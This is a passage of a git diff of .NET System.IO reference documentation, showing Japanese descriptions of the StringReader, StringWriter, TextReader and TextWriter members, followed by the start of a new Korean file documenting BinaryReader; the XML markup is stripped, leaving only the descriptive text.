バッファーに読み取られた合計文字数。要求しただけの文字数を読み取ることができなかった場合、この値は要求した文字数より小さくなります。基になる文字列の末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + バッファー内の開始インデックス。 + 読み取る文字の数。 + + は null なので、 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + 現在のリーダーが閉じています。 + 2 + + + 指定した最大文字数を現在の文字列から非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、文字列の末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前に文字列の末尾に到達した場合、メソッドは制御を返します。 + + は null なので、 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 指定した最大文字数を現在の文字列から非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、文字列の末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前に文字列の末尾に到達した場合、メソッドは制御を返します。 + + は null なので、 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 現在の文字列から 1 行分の文字を読み取り、そのデータを文字列として返します。 + 現在の文字列の次の行。文字列の末尾に到達した場合は null。 + 現在のリーダーが閉じています。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + 2 + + + 現在の文字列から非同期的に 1 行分の文字を読み取り、そのデータを文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、文字列リーダーの次の行が含まれます。または、すべての文字が読み取られた場合は null です。 + 次の行の文字数が、 を超えています。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 現在位置から文字列の末尾まですべての文字を読み取り、1 つの文字列として返します。 + 基になる文字列の現在位置から末尾までの内容。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + 現在のリーダーが閉じています。 + 2 + + + 現在位置から文字列の末尾まですべての文字を非同期的に読み取り、1 つの文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、現在位置から文字列の末尾までの文字から成る文字列が含まれます。 + 文字数が を超えています。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 文字列に情報を書き込む を実装します。情報は、基になる に格納されます。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + 指定した書式コントロールで クラスの新しいインスタンスを初期化します。 + 書式を制御する オブジェクト。 + + + 指定した への書き込みを行う クラスの新しいインスタンスを初期化します。 + 書き込む StringBuilder。 + + は null なので、 + + + 指定した に書き込みを行い、指定した書式プロバイダーを持つ クラスの新しいインスタンスを初期化します。 + 書き込む StringBuilder。 + 書式を制御する オブジェクト。 + + は null なので、 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 出力の書き込みに使用する を取得します。 + 出力の書き込み時に適用する Encoding。 + 1 + + + 現在のライターのすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + + + 基になる を返します。 + 基になる StringBuilder。 + 2 + + + 現在の StringWriter に書き込まれた文字を格納している文字列を返します。 + 現在の StringWriter に書き込まれた文字を格納している文字列。 + 2 + + + 文字列に文字を書き込みます。 + 書き込む文字。 + ライターが閉じられました。 + 2 + + + 文字配列の一部を文字列に書き込みます。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の位置。 + 書き込む文字の最大数。 + + は null なので、 + + または が負の値です。 + ( + )> 。Length. + ライターが閉じられました。 + 2 + + + 現在の文字列に文字列を書き込みます。 + 書き込む文字列。 + ライターが閉じられました。 + 2 + + + 文字列に文字を非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + 文字列に書き込む文字。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列を文字列に非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の位置。 + 書き込む文字の最大数。 + + は null なので、 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 現在の文字列に文字列を非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。 が null の場合は、何もテキスト ストリームに書き込みません。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 非同期で文字列に文字を書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 文字列に書き込む文字。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列を文字列に非同期で書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の位置。 + 書き込む文字の最大数。 + + は null なので、 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 現在の文字列に非同期で文字列を書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。値が null の場合は、行終端記号だけが書き込まれます。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 一連の文字を読み取ることができるリーダーを表します。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + この オブジェクトによって使用されているすべてのリソースを解放します。 + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 読み取り対象のデータを TextReader に提供しません。 + 1 + + + リーダーや文字の読み取り元の状態を変更せずに、次の文字を読み取ります。リーダーから実際に文字を読み取らずに次の文字を返します。 + 読み取り対象の次の文字を表す整数。使用できる文字がないか、リーダーがシークをサポートしていない場合は -1。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + テキスト リーダーから次の文字を読み取り、1 文字分だけ文字位置を進めます。 + テキスト リーダーからの次の文字。それ以上読み取り可能な文字がない場合は -1。既定の実装では、-1 が返されます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 指定した最大文字数を現在のリーダーから読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 読み取られた文字数。この数値は、リーダー内に使用できるデータがあるかどうかによって異なりますが、 以下の数値になります。読み取り対象の文字がない場合にこのメソッドを呼び出すと、0 (ゼロ) が返されます。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに読み取る前にリーダーの末尾に到達した場合、メソッドは制御を返します。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 指定した最大文字数を現在のテキスト リーダーから非同期に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、テキストの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに読み取る前にテキストの末尾に到達した場合は、現在のメソッドが返ります。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 指定した最大文字数を現在のテキスト リーダーから読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 読み取られた文字数。この数値は、すべての入力文字が読み取られたかどうかによって異なりますが、 以下の数値になります。 + このメソッドが戻るとき、指定した文字配列の から ( + -1) までの値が、現在のソースから読み取られた文字に置き換えられています。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 2 + + + 指定した最大文字数を現在のテキスト リーダーから非同期に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、テキストの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに読み取る前にテキストの末尾に到達した場合は、現在のメソッドが返ります。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + テキスト リーダーから 1 行分の文字を読み取り、そのデータを文字列として返します。 + リーダーの次の行。またはすべての文字が読み取られた場合は null。 + I/O エラーが発生しました。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + + が閉じています。 + 次の行の文字数が、 を超えています。 + 1 + + + 1 行分の文字を非同期的に読み取り、そのデータを文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、テキスト リーダーの次の行が含まれます。または、すべての文字が読み取られた場合は null です。 + 次の行の文字数が、 を超えています。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + テキスト リーダーの現在位置から末尾まですべての文字を読み取り、1 つの文字列として返します。 + テキスト リーダーの現在位置から末尾までのすべての文字を含む文字列。 + I/O エラーが発生しました。 + + が閉じています。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + 次の行の文字数が、 を超えています。 + 1 + + + テキスト リーダーの現在位置から末尾まですべての文字を非同期的に読み取り、1 つの文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、現在位置からテキスト リーダーの末尾までの文字から成る文字列が含まれます。 + 文字数が を超えています。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 一連の文字を書き込むことができるライターを表します。このクラスは抽象クラスです。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + 指定した書式プロバイダーで クラスの新しいインスタンスを初期化します。 + 書式を制御する オブジェクト。 + + + この TextWriter で使用する改行文字を格納します。 + + + この オブジェクトによって使用されているすべてのリソースを解放します。 + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 派生クラスによってオーバーライドされると、出力を書き込む文字エンコーディングを返します。 + 出力の書き込み時に適用する文字エンコーディング。 + 1 + + + 現在のライターのすべてのバッファーをクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 1 + + + 現在のライターのすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + テキスト ライターは破棄されます。 + ライターは現在、前の書き込み操作で使用中です。 + + + 書式を制御するオブジェクトを取得します。 + 特定のカルチャ設定の オブジェクト、または他のカルチャ設定が指定されていない場合は現在のカルチャ設定の書式。 + 2 + + + 現在の TextWriter で使用される行終端文字列を取得または設定します。 + 現在の TextWriter で使用する行終端文字列。 + 2 + + + バッキング ストアを持たない書き込み専用の TextWriter を提供します。 + 1 + + + Boolean 値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む Boolean 値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字をテキスト文字列またはストリームに書き込みます。 + テキスト ストリームに書き込む文字。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字配列をテキスト文字列またはストリームに書き込みます。 + テキスト ストリームに書き込む文字配列。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字の部分配列をテキスト文字列またはストリームに書き込みます。 + データの書き込み元の文字配列。 + データの取得を開始する、バッファー内の文字位置。 + 書き込む文字数。 + バッファー長から を差し引いた値が より小さい値です。 + + パラメーターが null です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 10 進値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 10 進値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 8 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 4 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 8 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + オブジェクトで ToString メソッドを呼び出して、そのオブジェクトのテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込むオブジェクト。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 4 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字列をテキスト文字列またはストリームに書き込みます。 + 書き込む文字列。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをするオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 1) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 2) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + 書式設定および書き込みをする 3 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 3) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする 0 個以上のオブジェクトを含むオブジェクト配列。 + + または が null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式項目のインデックスが 0 より小さいか、 配列の長さ以上です。 + 1 + + + 4 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 4 バイト符号なし整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 8 バイト符号なし整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字配列をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字配列。 が null の場合は、何も書き込まれません。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの取得を開始する、バッファー内の文字位置。 + 書き込む文字数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字列をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。 が null の場合は、何もテキスト ストリームに書き込みません。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 行終端記号をテキスト文字列またはストリームに書き込みます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + Boolean 値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む Boolean 値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + テキスト ストリームに書き込む文字。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字の配列をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + データの読み取り元の文字配列。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字の部分配列をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + データの読み取り元の文字配列。 + データの読み込みを開始する、 内の文字の位置。 + 書き込む文字の最大数。 + バッファー長から を差し引いた値が より小さい値です。 + + パラメーターが null です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 10 進値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 10 進値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 8 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 4 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 8 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + オブジェクトで ToString メソッドを呼び出して、そのオブジェクトのテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込むオブジェクト。 が null の場合は、行終端記号だけを書き込みます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 4 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字列をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む文字列。 が null の場合は、行終端記号だけを書き込みます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列と改行をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをするオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 1) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列と改行をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 2) 以上です。 + 1 + + + + と同じセマンティクスを使用して、書式設定された文字列と改行を書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + 書式設定および書き込みをする 3 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 3) 以上です。 + 1 + + + + と同じセマンティクスを使用して、書式設定された文字列と改行を書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする 0 個以上のオブジェクトを含むオブジェクト配列。 + 文字列またはオブジェクトが null として渡されました。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式項目のインデックスが 0 より小さいか、 配列の長さ以上です。 + 1 + + + 4 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 4 バイト符号なし整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 8 バイト符号なし整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 行終端記号をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字の配列をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字配列。文字配列が null の場合は、行終端記号だけが書き込まれます。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの取得を開始する、バッファー内の文字位置。 + 書き込む文字数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字列をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。値が null の場合は、行終端記号だけが書き込まれます。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netcore50/ko/System.IO.xml b/packages/System.IO.4.3.0/ref/netcore50/ko/System.IO.xml new file mode 100644 index 0000000..7157cae --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netcore50/ko/System.IO.xml @@ -0,0 +1,2262 @@ + + + + System.IO + + + + 기본 데이터 형식을 특정 인코딩의 이진 값으로 읽습니다. + 2 + + + 지정된 스트림을 기반으로 UTF-8 인코딩을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 입력 스트림입니다. + 스트림이 읽기를 지원하지 않거나 null이거나 이미 닫힌 경우 + + + 지정된 스트림과 문자 인코딩을 기반으로 클래스의 새 인스턴스를 초기화합니다. + 입력 스트림입니다. + 사용할 문자 인코딩입니다. + 스트림이 읽기를 지원하지 않거나 null이거나 이미 닫힌 경우 + + 가 null인 경우 + + + 지정된 스트림과 문자 인코딩을 기반으로 하는 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둡니다. + 입력 스트림입니다. + 사용할 문자 인코딩입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 닫으려면 false입니다. + 스트림이 읽기를 지원하지 않거나 null이거나 이미 닫힌 경우 + + 또는 가 null인 경우 + + + + 의 내부 스트림에 대한 액세스를 노출합니다. + BinaryReader와 관련된 내부 스트림입니다. + 2 + + + + 클래스의 현재 인스턴스에서 사용하는 모든 리소스를 해제합니다. + + + + 클래스에 사용되는 관리되지 않는 리소스를 해제하고, 필요에 따라 관리되는 리소스를 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 스트림에서 읽은 지정된 바이트 수로 내부 버퍼를 채웁니다. + 읽을 바이트 수입니다. + + 를 읽기 전에 스트림의 끝에 도달한 경우 + I/O 오류가 발생하는 경우 + 요청된 가 내부 버퍼 크기보다 큰 경우 + + + 사용할 수 있는 다음 문자를 반환하고 바이트 또는 문자 위치를 앞으로 이동하지 않습니다. + 사용할 수 있는 다음 문자를 반환하고 사용할 수 있는 문자가 더 이상 없거나 스트림에서 검색을 지원하지 않을 경우 -1을 반환합니다. + I/O 오류가 발생하는 경우 + 현재 문자는 스트림에 선택한 을 사용하여 내부 문자 버퍼링으로 디코딩할 수 없습니다. + 2 + + + 내부 스트림에서 문자를 읽고 사용된 Encoding과 스트림에서 읽어오는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 입력 스트림의 다음 문자를 반환하고 현재 사용할 수 있는 문자가 없을 경우 -1을 반환합니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 2 + + + 바이트 배열의 지정된 지점부터 스트림에서 지정된 바이트 수만큼 읽습니다. + + 로 읽어 온 바이트 수입니다.이 바이트 수는 바이트가 충분하지 않은 경우 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달하면 0이 됩니다. + 데이터를 읽어올 버퍼입니다. + 버퍼로 읽어오기를 시작할 버퍼의 시작 위치입니다. + 읽을 바이트 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 또는읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 문자 배열의 지정된 지점부터 스트림에서 지정된 문자 수만큼 읽습니다. + 버퍼로 읽어온 총 문자 수입니다.이 문자 수는 문자가 현재 충분하지 않은 경우 요청된 문자 수보다 작을 수 있으며 스트림의 끝에 도달하면 0이 됩니다. + 데이터를 읽어올 버퍼입니다. + 버퍼로 읽어오기를 시작할 버퍼의 시작 위치입니다. + 읽을 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 또는읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 압축 형식의 32비트 정수를 읽습니다. + 압축 형식의 32비트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 스트림이 손상되었습니다. + + + 현재 스트림에서 Boolean 값을 읽고 스트림의 현재 위치를 1바이트 앞으로 이동합니다. + 바이트가 0이 아니면 true이고 0이면 false입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 다음 바이트를 읽고 스트림의 현재 위치를 1바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 다음 바이트입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 지정된 바이트 수만큼 바이트 배열로 읽어 오고 현재 위치를 해당 바이트 수만큼 앞으로 이동합니다. + 내부 스트림에서 읽은 데이터를 포함하는 바이트 배열입니다.이 바이트 배열은 스트림의 끝에 도달할 경우 요청된 바이트 수보다 작을 수 있습니다. + 읽을 바이트 수입니다.이 값은 0 또는 음수가 아닌 숫자여야 합니다. 그렇지 않으면 예외가 발생합니다. + 읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + + 가 음수인 경우 + 2 